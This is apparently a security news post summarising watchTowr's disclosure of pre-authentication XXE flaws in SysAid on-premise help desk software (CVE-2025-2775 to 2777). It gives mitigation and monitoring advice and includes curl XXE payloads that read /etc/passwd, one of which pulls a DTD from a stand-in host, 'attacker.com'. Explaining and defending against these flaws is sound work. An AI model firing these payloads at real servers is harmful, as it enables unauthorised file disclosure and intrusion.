SysOwned, Your Friendly Support Ticket – SysAid On-Premise Pre-Auth RCE Chain (CVE-2025-2775 And Friends)

Source: watchTowr’s Disclosure

SysAid, a widely used IT help desk software system, has been found vulnerable to multiple critical Remote Code Execution (RCE) exploits. Researchers at watchTowr uncovered a chain of vulnerabilities that allow attackers to compromise systems without authentication. The disclosed flaws include:

• CVE-2025-2775: XML External Entity (XXE) Injection
• CVE-2025-2776: XML External Entity (XXE) Injection
• CVE-2025-2777: XML External Entity (XXE) Injection

These vulnerabilities expose businesses to ransomware attacks, as SysAid has previously been targeted by threat actors.

You Should Know: Exploiting XXE Vulnerabilities & Mitigation

XXE attacks manipulate XML parsers to read internal files, execute remote requests, or even achieve RCE. Below are key commands and steps to test and defend against such vulnerabilities.

1. Testing XXE Vulnerabilities

Use curl to send malicious XML payloads:

curl -X POST -H "Content-Type: application/xml" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' http://vulnerable-sysaid-server/api

For RCE attempts (if XXE leads to SSRF):

curl -X POST -H "Content-Type: application/xml" -d '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/malicious.dtd">]><foo>&xxe;</foo>' http://vulnerable-sysaid-server/api

2. Detecting XXE with Burp Suite

• Intercept a legitimate XML request.
• Inject a malicious DTD:

  <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  

• Observe if the server returns sensitive data.

3. Mitigation Steps for SysAdmins

• Disable DTD Processing:

  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  

• Patch SysAid Immediately: Apply vendor updates.
• Network Segmentation: Restrict access to SysAid servers.
• WAF Rules: Block suspicious XML payloads.

4. Linux Command to Monitor Exploits

Check for unusual processes:

ps aux | grep java

Log analysis for XXE attempts:

grep -i "xml" /var/log/sysaid.log

What Undercode Say

XXE vulnerabilities remain a critical threat in enterprise software. SysAid’s case highlights how help desk systems, often trusted for internal operations, can become entry points for attackers. Immediate patching and XML input validation are non-negotiable.

For defenders:

• Monitor XML traffic:

  tcpdump -i eth0 port 80 -A | grep -i "xml"
  

• Use Lynis for Auditing:

  sudo lynis audit system
  

• Windows Defender ASR Rule:

  Set-MpPreference -AttackSurfaceReductionRules_Ids "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550" -AttackSurfaceReductionRules_Actions Enabled
  

Expected Output

A compromised system may:

• Leak `/etc/passwd` via XXE.
• Execute arbitrary code via crafted DTDs.
• Show abnormal Java processes in `top` or htop.

Prediction

Given SysAid’s history with ransomware targeting, unpatched instances will likely face exploitation in the wild within weeks. Organizations must prioritize updates or risk operational disruption.

References:

Reported By: Mthomasson When – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram